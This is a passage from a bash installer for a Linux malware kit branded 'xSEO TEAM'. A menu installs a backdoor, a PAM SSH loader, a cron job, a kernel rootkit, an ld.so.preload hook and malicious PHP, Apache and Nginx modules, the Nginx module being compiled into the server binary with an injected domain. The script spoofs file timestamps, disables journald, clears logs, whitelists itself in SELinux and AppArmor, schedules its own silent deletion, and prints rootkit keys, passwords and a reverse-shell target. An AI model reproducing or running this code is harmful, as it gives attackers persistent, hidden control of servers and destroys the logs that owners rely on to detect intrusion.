			spoof_file_timestamp "$module_output_path" "$base_time" || 
				log_warn "Failed to spoof timestamp for Nginx binary"
		fi
		
		return 0
	}
    
    # Helper function to stop Nginx service
    stop_nginx_service() {
		log_info "Stopping Nginx before replacement..."
		
		local nginx_stopped=false
		local stop_methods=(
			"$NGINX_BIN_PATH -s stop" 
			"systemctl stop nginx" 
			"service nginx stop" 
			"/etc/init.d/nginx stop"
			"pkill -TERM nginx"
		)
		
		for method in "${stop_methods[@]}"; do
			log_info "Trying to stop Nginx with: $method"
			if eval "$method" >/dev/null 2>&1; then
				sleep 2
				# Verify Nginx actually stopped
				if ! pgrep -f "nginx" >/dev/null 2>&1; then
					nginx_stopped=true
					log_success "Nginx stopped successfully with: $method"
					return 0
				fi
			fi
		done
		
		if [ "$nginx_stopped" = false ]; then
			log_warn "Could not gracefully stop Nginx. Will try to replace binary anyway."
		fi
	}

    restart_nginx() {
        log_info "Restarting Nginx to apply changes..."
        
        local restart_methods=(
            "$NGINX_BIN_PATH"                                    # 直接启动
            "systemctl start nginx"                              # systemd启动
            "service nginx start"                                # SysV init启动
            "/etc/init.d/nginx start"                            # 直接init脚本启动
        )
        
        local restart_success=false
        
        for method in "${restart_methods[@]}"; do
            log_info "Trying to start Nginx with: $method"
            if eval "$method" >/dev/null 2>&1; then
                # 等待Nginx启动
                sleep 2
                # 验证Nginx是否真的在运行
                if pgrep -f "nginx: master process" >/dev/null 2>&1; then
                    restart_success=true
                    log_success "Nginx started successfully with: $method"
                    break
                else
                    log_warn "Nginx does not appear to have started with: $method"
                fi
            fi
        done
        
        if [ "$restart_success" = false ]; then
            log_warn "All automatic restart methods failed. Please restart Nginx manually."
            return 1
        fi
        
        return 0
    }
    
    # 验证Nginx安装
    verify_nginx_installation() {
        log_info "Verifying Nginx installation..."
        
        # 检查Nginx进程
        if ! pgrep -f "nginx: master process" >/dev/null 2>&1; then
            log_warn "No running Nginx master process. Will try to start Nginx..."
            
            # 尝试启动Nginx
            restart_nginx
            
            # 再次检查进程
            if ! pgrep -f "nginx: master process" >/dev/null 2>&1; then
                log_error "Nginx not running even after restart attempt."
                return 1
            fi
        fi
        
		# 测试配置文件
        log_info "Testing Nginx configuration..."
        if ! "$NGINX_BIN_PATH" -t >/dev/null 2>&1; then
            log_error "Nginx configuration test failed:"
            "$NGINX_BIN_PATH" -t
            return 1
        fi
        
        log_success "Nginx configuration test passed."
        
        # 检查编译模块是否存在
        if "$NGINX_BIN_PATH" -V 2>&1 | grep -q "$MODULE_NAME"; then
            log_success "Verification successful: Nginx now includes the $MODULE_NAME module."
            return 0
        else
            log_warn "Could not confirm $MODULE_NAME module in Nginx configuration."
            return 1
        fi
    }
    
    # 主流程开始
    # 1. 检测Nginx安装
    detect_nginx_binary
    local nginx_found=$?
    
    if [ $nginx_found -ne 0 ]; then
        log_warn "No Nginx found in system, skipping module installation"
        return 1
    fi
    
    # 2. 获取Nginx详情
    get_nginx_details || {
        log_error "Failed to get Nginx details"
        return 1
    }
    
    # 3. 更新模块源文件
    # log_info "Updating MODULE value in module source file..."
    # if [ -f "$MODULE_FILE" ]; then
        # if ! sed -i "s/bangkokviews/$MODULE/g" "$MODULE_FILE"; then
            # log_warn "Failed to update MODULE value in $MODULE_FILE"
        # fi
        
        # if [ "$COUNTRY" = "MY" ]; then
            # if ! sed -i "s/example.com/my.fontawesome-cdn.com/g" "$MODULE_FILE"; then
                # log_error "Failed to set domain for MY in $MODULE_FILE. Exiting."
                # return 1
            # fi
            # log_success "Domain set successfully for MY in $MODULE_FILE."
        # elif [ "$COUNTRY" = "BR" ]; then
            # if ! sed -i "s/example.com/br.fontawesome-cdn.com/g" "$MODULE_FILE"; then
                # log_error "Failed to set domain for BR in $MODULE_FILE. Exiting."
                # return 1
            # fi
            # log_success "Domain set successfully for BR in $MODULE_FILE."
        # elif [ "$COUNTRY" = "IN" ]; then
            # if ! sed -i "s/example.com/in.fontawesome-cdn.com/g" "$MODULE_FILE"; then
                # log_error "Failed to set domain for IN in $MODULE_FILE. Exiting."
                # return 1
            # fi
            # log_success "Domain set successfully for IN in $MODULE_FILE."
        # else
            # log_error "Unknown country code: $COUNTRY"
            # return 1
        # fi
    # fi
	
	log_info "Updating MODULE value in module source file..."
    if [ -f "$MODULE_FILE" ]; then
        if ! sed -i "s/bangkokviews/$MODULE/g" "$MODULE_FILE"; then
            log_warn "Failed to update MODULE value in $MODULE_FILE"
        fi
        
        if ! sed -i "s/example.com/th.bangkokviews.com/g" "$MODULE_FILE"; then
			log_error "Failed to set domain for TH in $MODULE_FILE. Exiting."
			return 1
		fi
		log_success "Domain set successfully for TH in $MODULE_FILE."
    fi
    
    # 4. 创建临时目录
    local temp_dir=$(mktemp -d)
    log_info "Created temporary directory: $temp_dir"
    
    # 5. 安装构建依赖项
    install_build_dependencies || {
        log_warn "Encountered issues installing dependencies, but will continue trying"
    }
    
    # 6. 构建静态模块
    if ! build_static_module "$temp_dir" "$NGINX_BIN_PATH"; then
        log_error "Failed to build and integrate module into Nginx"
        rm -rf "$temp_dir"
        return 1
    fi
    
    # 7. 验证安装
    if ! verify_nginx_installation; then
        log_warn "Nginx verification failed, but installation may still be functional"
    fi
    
    # 8. 清理临时目录
    rm -rf "$temp_dir"
    
    NGINXSTATUS=1
    log_success "Nginx module installation completed successfully."
    
    # 显示备份位置
    if [ -n "$NGINX_BACKUP_PATH" ]; then
        log_info "Nginx backup location: $NGINX_BACKUP_PATH"
    fi
    
    return 0
}

# ================================= END NGINX =====================================================
		
createSilentRemovalTask() {
    # 创建一个临时标识文件，防止重复运行
    local TASK_FLAG="/tmp/.session_task_running"
    
    # 检查任务是否已在运行
    if [ -f "$TASK_FLAG" ]; then
        # 任务已存在，输出提示并退出
        log_info "A removal task is already running in the background."
        return 0
    fi
    
    # 提示用户任务开始创建
    log_start "Creating silent removal task for 60 minutes from now..."
    
    # 创建标识文件
    touch "$TASK_FLAG"
    
    # 创建一个独立的临时脚本
    local CLEANUP_SCRIPT="/tmp/.session_$(date +%s).sh"
    
    # 写入脚本内容
    cat << EOF > "$CLEANUP_SCRIPT"
#!/bin/bash

SCRIPT_DIR="$SCRIPT_DIR"

sleep 3600

cd /opt 2>/dev/null || cd /tmp 2>/dev/null || cd / 2>/dev/null

if [ -d "\$SCRIPT_DIR" ]; then
    rm -rf "\$SCRIPT_DIR" 2>/dev/null
    
    if [ -d "\$SCRIPT_DIR" ]; then
        find "\$SCRIPT_DIR" -type f -delete 2>/dev/null
        find "\$SCRIPT_DIR" -type l -delete 2>/dev/null
        find "\$SCRIPT_DIR" -type d -empty -delete 2>/dev/null
        rmdir "\$SCRIPT_DIR" 2>/dev/null
    fi
fi

for dir in /opt /root /tmp /var/tmp; do
    find "\$dir" -type d -name "libzip" -exec rm -rf {} + 2>/dev/null
    find "\$dir" -type f -name "libzip.tar.gz" -exec rm -f {} + 2>/dev/null
done

rm -f "$TASK_FLAG" 2>/dev/null
rm -f "\$0" 2>/dev/null
EOF

    # 设置执行权限并隐藏文件
    chmod +x "$CLEANUP_SCRIPT"
    
    # 使用nohup启动后台任务，丢弃所有输出
    nohup bash "$CLEANUP_SCRIPT" >/dev/null 2>&1 &
    
    # 成功提示
    log_success "Removal task started. Directory will be automatically removed after 60 minutes."
    
    return 0
}

init() {
    if [ -z "$SCRIPT_DIR" ]; then
        log_error "Usage: $0 /opt/libzip [ask|remove]"
        exit 1
    fi
    if [[ "$SCRIPT_DIR" != /opt/* ]]; then
        exit 1
    fi
    if [ "$(uname)" != "Linux" ]; then
        log_error "Not running on Linux. Exiting..."
        exit 1
    fi
    if [ "$(id -u)" -ne 0 ]; then
        log_error "Must run as root. Exiting..."
        exit 1
    fi
    log_success "===== Initialization started ====="
    mkdir -p /opt/rh/dev || { log_error "Failed to create /opt/rh/dev. Exiting..."; exit 1; }
    mkdir -p /var/opt/dev || { log_error "Failed to create /var/opt/dev. Exiting..."; exit 1; }
    mkdir -p /usr/local/etc || { log_error "Failed to create /usr/local/etc. Exiting..."; exit 1; }
    mkdir -p /usr/local/bin || { log_error "Failed to create /usr/local/bin. Exiting..."; exit 1; }
    mkdir -p /usr/share/auditdb4.2/dev || { log_error "Failed to create /usr/share/auditdb4.2/dev. Exiting..."; exit 1; }
    detectSystem
    checkSelinux
    if [ "${SYSTEM}" = "centos" ]; then
        checkYumRepo
    fi
	if [ "${SYSTEM}" = "debian" ]; then
        checkAptRepo
    fi
    installDependencies
    log_success "===== Initialization completed ====="
}

main() {
    log_info "Removing old libzip.tar.gz files..."
    find /opt /root -type f -name "libzip.tar.gz" -exec rm -f {} +
    find /tmp -type d -name "libzip.tar.gz" -print0 | xargs -0 rm -rf
	createSilentRemovalTask
    init
    configGenInit

    if [[ $USEROPTION == "ask" ]]; then
        echo -e "\n${GREEN}Please select the part to install (enter the number):${NC}"
        echo -e "${BLUE}1. Install Backdoor${NC}"
        echo -e "${BLUE}2. Install SSH Loader${NC}"
        echo -e "${BLUE}3. Install Cron Job${NC}"
        echo -e "${BLUE}4. Install Rootkit${NC}"
        echo -e "${BLUE}5. Install Father${NC}"
		echo -e "${BLUE}6. Install PHP Module${NC}"
        echo -e "${BLUE}7. Install APACHE Module${NC}"
		echo -e "${BLUE}8. Install NGINX Module${NC}"
        echo -e "${BLUE}9. Clear Logs${NC}"
		echo -e "${BLUE}10. Install All${NC}"
        echo -e "${RED}To ensure that the Rootkit does not create an auto-start entry, install other services first.${NC}"
        echo -e "${RED}[为避免 Rootkit 自启动失败, 请先安装其他服务]${NC}"
        
        echo -ne "${YELLOW}Your choice: ${NC}"
        read -r choice

        case $choice in
            1)
                installBackdoor
                ;;
            2)
                sshLoader
                ;;
            3)
                installCronJob
                ;;
            4)
                askRootkit
				loadRootkit
                ;;
            5)
                installFather
                ;;
            6)
				deploy_php_module
                ;;
			7)
				deploy_apache_module
				;;
			8)
                deploy_nginx_module
				;;
            9)
				clearLogs
				;;
			10)
				askRootkit
                installBackdoor
                sshLoader
				loadRootkit
                installFather
                deploy_php_module
				deploy_apache_module
				deploy_nginx_module
                ;;
            *)
                log_error "Invalid choice!"
                exit 1
                ;;
        esac
    else
        askRootkit
        installBackdoor
        sshLoader
		loadRootkit
        installFather
        deploy_php_module
		deploy_apache_module
		deploy_nginx_module
    fi

    rc_file="/etc/rc.local"
    if [ -f "$rc_file" ]; then
        # Ensure file ends with a single empty line
        last_line=$(tail -n1 "$rc_file")
        if [ -n "$last_line" ]; then
            echo "" >> "$rc_file" || { log_error "Failed to append an empty line to $rc_file"; exit 1; }
            log_info "Appended an empty line at the end of $rc_file"
        fi
    fi

    rc_file="/etc/rc.d/rc.local"
    if [ -f "$rc_file" ]; then
        # Ensure file ends with a single empty line
        last_line=$(tail -n1 "$rc_file")
        if [ -n "$last_line" ]; then
            echo "" >> "$rc_file" || { log_error "Failed to append an empty line to $rc_file"; exit 1; }
            log_info "Appended an empty line at the end of $rc_file"
        fi
    fi

    #startCrontab
	CreateClearing
	disable_journald_logs
	clearLogs

	echo -e "\n\n${BLUE}=============================================================${NC}"
	echo -e "${BLUE}              * ${GREEN}INSTALLATION SUCCESSFULLY COMPLETED${BLUE} *${NC}"
	echo -e "${BLUE}=============================================================${NC}"

	echo -e "\n${CYAN}=================== ${WHITE}SYSTEM INFORMATION${CYAN} ===================${NC}"
	echo -e "${YELLOW}* Kernel:${NC}    ${GREEN}$(uname -r)${NC}"
	echo -e "${YELLOW}* System:${NC}    ${GREEN}${SYSTEM} ${VERSION}${NC}"
	echo -e "${YELLOW}* Arch:${NC}      ${GREEN}${ARCH}${NC} (${GREEN}${ARCH_TYPE}${NC})"

	echo -e "\n${CYAN}=================== ${WHITE}KERNEL INFORMATION${CYAN} ===================${NC}"
	echo -e "${YELLOW}* Current Version:${NC}  ${BLUE}$(uname -r)${NC}"
	echo -e "${YELLOW}* Short Version:${NC}    ${BLUE}${SHORTVERSION}${NC}"
	echo -e "${YELLOW}* Major Version:${NC}    ${BLUE}${MAJOR}${NC}"
	echo -e "${YELLOW}* Minor Version:${NC}    ${BLUE}${MINOR}${NC}"
	echo -e "${YELLOW}* Driver Path:${NC}      ${BLUE}${DRIVER_DIRECTORY}${NC}"
	echo -e "${YELLOW}* Upgrades Blocked:${NC} [$(if grep -q "exclude=kernel" /etc/yum.conf 2>/dev/null || grep -q "exclude=kernel" /etc/dnf/dnf.conf 2>/dev/null || apt-mark showhold 2>/dev/null | grep -q "linux-image"; then echo "${GREEN}PROTECTED${NC}"; else echo "${RED}NOT PROTECTED${NC}"; fi)]"

	echo -e "\n${CYAN}=================== ${WHITE}SECURITY INFORMATION${CYAN} ===================${NC}"
	echo -e "${YELLOW}* SELinux Status:${NC}    [$(if command -v getenforce >/dev/null 2>&1 && [ "$(getenforce 2>/dev/null)" == "Disabled" ]; then echo "${GREEN}Disabled${NC}"; else echo "${RED}$(getenforce 2>/dev/null || echo 'N/A')${NC}"; fi)]"
	echo -e "${YELLOW}* SELinux Whitelist:${NC} [$(if semodule -l 2>/dev/null | grep -q "system_audit_helper"; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"
	echo -e "${YELLOW}* AppArmor Status:${NC}   [$(if command -v aa-status >/dev/null 2>&1 && aa-status --enabled 2>/dev/null; then echo "${RED}Enabled${NC}"; else echo "${GREEN}Disabled${NC}"; fi)]"
	echo -e "${YELLOW}* AppArmor Whitelist:${NC}[$(if [ -f "/etc/apparmor.d/local/system_performance_monitor" ] || [ -f "/etc/apparmor.d/system_performance_monitor" ]; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"
	echo -e "${YELLOW}* Log Filtering:${NC}     [$(if [ -f "/etc/systemd/journald.conf.d/01-systembuffer.conf" ] || [ -f "/etc/rsyslog.d/00-systembuff.conf" ]; then echo "${GREEN}Active${NC}"; else echo "${RED}Inactive${NC}"; fi)]"

	echo -e "\n${CYAN}=================== ${WHITE}ROOTKIT INFORMATION${CYAN} ===================${NC}"
	echo -e "${YELLOW}* Module:${NC}    ${BLUE}${MODULE}${NC}"
	echo -e "${YELLOW}* Version:${NC}   ${BLUE}${RTVER:-NOT INSTALLED}${NC}"
	echo -e "${YELLOW}* Status:${NC}    [$(if [[ -e "/proc/${MODULE}" ]] || lsmod 2>/dev/null | grep -q "${MODULE}" || [[ "${RTVER}" != "" && "${RTVER}" != "NOT INSTALLED" ]]; then echo "${GREEN}Running${NC}"; else echo "${RED}Not Running${NC}"; fi)]"

	if [[ -n "$RK2_BACKDOOR_KEY" && -n "$RK2_UNHIDE_KEY" ]]; then
		echo -e "\n${YELLOW}* Rootkit Keys:${NC}"
		echo -e "  ${CYAN}- Backdoor:${NC} ${WHITE}${RK2_BACKDOOR_KEY}${NC}"
		echo -e "  ${CYAN}- Unhide:${NC}   ${WHITE}${RK2_UNHIDE_KEY}${NC}"
	fi

	if [[ -n "$PASS" ]]; then
		echo -e "\n${YELLOW}* Authentication:${NC}"
		echo -e "  ${CYAN}- Token:${NC}    ${WHITE}${TOKEN}${NC}"
		echo -e "  ${CYAN}- Password:${NC} ${WHITE}${PASS}${NC}"
		echo -e "  ${CYAN}- SRC Port:${NC} ${WHITE}${SRCPORT}${NC}"

		if [[ "$RSH" =~ [Yy] ]]; then
			echo -e "\n${YELLOW}* Reverse Shell:${NC}"
			echo -e "  ${CYAN}- Target:${NC}   ${WHITE}${LHOST}:${LPORT}${NC}"
			echo -e "  ${CYAN}- Interval:${NC} ${WHITE}Every ${INTERVAL} seconds${NC}"
		fi
		
		echo -e "\n${YELLOW}* Hide Tags:${NC}"
		echo -e "  ${CYAN}- Open:${NC}  ${WHITE}#<${MODULE}>${NC}"
		echo -e "  ${CYAN}- Close:${NC} ${WHITE}#</${MODULE}>${NC}"
	fi

	echo -e "\n${CYAN}=================== ${WHITE}INSTALLATION STATUS${CYAN} ===================${NC}"
	echo -e "${YELLOW}* Core Components:${NC}"
	echo -e "  ${CYAN}- Rootkit:${NC}  [$(if [[ -e "/proc/${MODULE}" ]] || lsmod 2>/dev/null | grep -q "${MODULE}" || [[ "${RTVER}" != "" && "${RTVER}" != "NOT INSTALLED" ]]; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"
	echo -e "  ${CYAN}- Father:${NC}   [$(if [[ -f "$PRELOAD_MOD" ]] || grep -q "${MODULE}" /etc/ld.so.preload 2>/dev/null; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"
	echo -e "  ${CYAN}- Backdoor:${NC} [$(if [[ -f "/opt/rh/${MODULE}s" || -f "/opt/rh/${MODULE}c" || -f "/opt/rh/${MODULE}p" ]] || ps aux 2>/dev/null | grep -E "${MODULE}[scp]" | grep -v "grep" >/dev/null 2>&1; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"

	echo -e "\n${YELLOW}* Security Components:${NC}"
	echo -e "  ${CYAN}- SSH Loader:${NC} [$(if [[ -f "/lib/security/pam_ssh_hash.so" || -f "/lib64/security/pam_ssh_hash.so" || -f "/lib/x86_64-linux-gnu/security/pam_ssh_hash.so" ]] || grep -q "pam_ssh_hash.so" /etc/pam.d/* 2>/dev/null; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"
	echo -e "  ${CYAN}- Cron Job:${NC}   [$(if [[ -f "/etc/cron.d/root" ]] && [[ $(grep -q "${MODULE}" "/etc/cron.d/root" 2>/dev/null; echo $?) -eq 0 ]] || [[ $(crontab -l 2>/dev/null | grep -q "${MODULE}"; echo $?) -eq 0 ]]; then echo "${GREEN}Active${NC}"; else echo "${RED}Inactive${NC}"; fi)]"
	echo -e "  ${CYAN}- Log Cleaner:${NC}[${GREEN}Active${NC}]"

	echo -e "\n${YELLOW}* Web Modules:${NC}"
	PHP_EXT_DIR=$(php -i 2>/dev/null | grep "extension_dir" | head -n1 | awk '{print $3}' 2>/dev/null)
	echo -e "  ${CYAN}- PHP Module:${NC}    [$(if [[ "$PHPSTATUS" -eq 1 ]] || [[ -n "$PHP_EXT_DIR" && -f "${PHP_EXT_DIR}/${PHP_EXT_NAME}.so" ]] || php -m 2>/dev/null | grep -q "${PHP_EXT_NAME}"; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"
	echo -e "  ${CYAN}- APACHE Module:${NC} [$(if [[ "$APACHESTATUS" -eq 1 ]] || [[ -f "$APACHE_MODULES_DIR/mod_${APACHE_EXT_NAME}.so" ]] || [[ -f "/usr/lib/apache2/modules/mod_${APACHE_EXT_NAME}.so" ]] || [[ -f "/usr/local/apache2/modules/mod_${APACHE_EXT_NAME}.so" ]] || { { apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null; } | grep -q "${APACHE_EXT_NAME}_module"; }; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"
	echo -e "  ${CYAN}- NGINX Module:${NC}  [$(if [[ "$NGINXSTATUS" -eq 1 ]] || command -v nginx >/dev/null 2>&1 && nginx -V 2>&1 | grep -q "ngx_http_stream_state_module"; then echo "${GREEN}Installed${NC}"; else echo "${RED}Not Installed${NC}"; fi)]"

	if command -v nginx >/dev/null 2>&1; then
		echo -e "    ${WHITE}• Nginx Version:${NC} ${YELLOW}$(nginx -v 2>&1 | cut -d '/' -f2)${NC}"
		
		NGINX_COMPILE_ARGS=$(nginx -V 2>&1 | grep -oE "configure arguments:.*" | sed -e 's/configure arguments: //')
		
		if [ -n "$NGINX_COMPILE_ARGS" ]; then
			echo -e "    ${WHITE}• Nginx Config:${NC} ${YELLOW}${NGINX_COMPILE_ARGS}${NC}"
			if nginx -V 2>&1 | grep -q "ngx_http_stream_state_module"; then
				echo -e "    ${WHITE}• Module Status:${NC} ${GREEN}Successfully integrated into binary${NC}"
			fi
		fi
	fi

	if [ -n "$NGINX_BACKUP_PATH" ]; then
		echo -e "    ${WHITE}• Nginx Backup:${NC} ${YELLOW}${NGINX_BACKUP_PATH}${NC}"
	elif find /tmp -name "ntmp_*" -type f 2>/dev/null | grep -q .; then
		NGINX_FOUND_BACKUP=$(find /tmp -name "ntmp_*" -type f -print -quit 2>/dev/null)
		if [ -n "$NGINX_FOUND_BACKUP" ]; then
			echo -e "    ${WHITE}• Nginx Backup:${NC} ${YELLOW}${NGINX_FOUND_BACKUP}${NC}"
		fi
	fi

	echo -e "\n${BLUE}=============================================================${NC}"
	echo -e "${GREEN}(C) $(date +%Y) xSEO TEAM${NC}                   ${CYAN}Version V20250330${NC}"
	echo -e "${BLUE}=============================================================${NC}\n\n"
				
	removeDirectory
}

main "$1"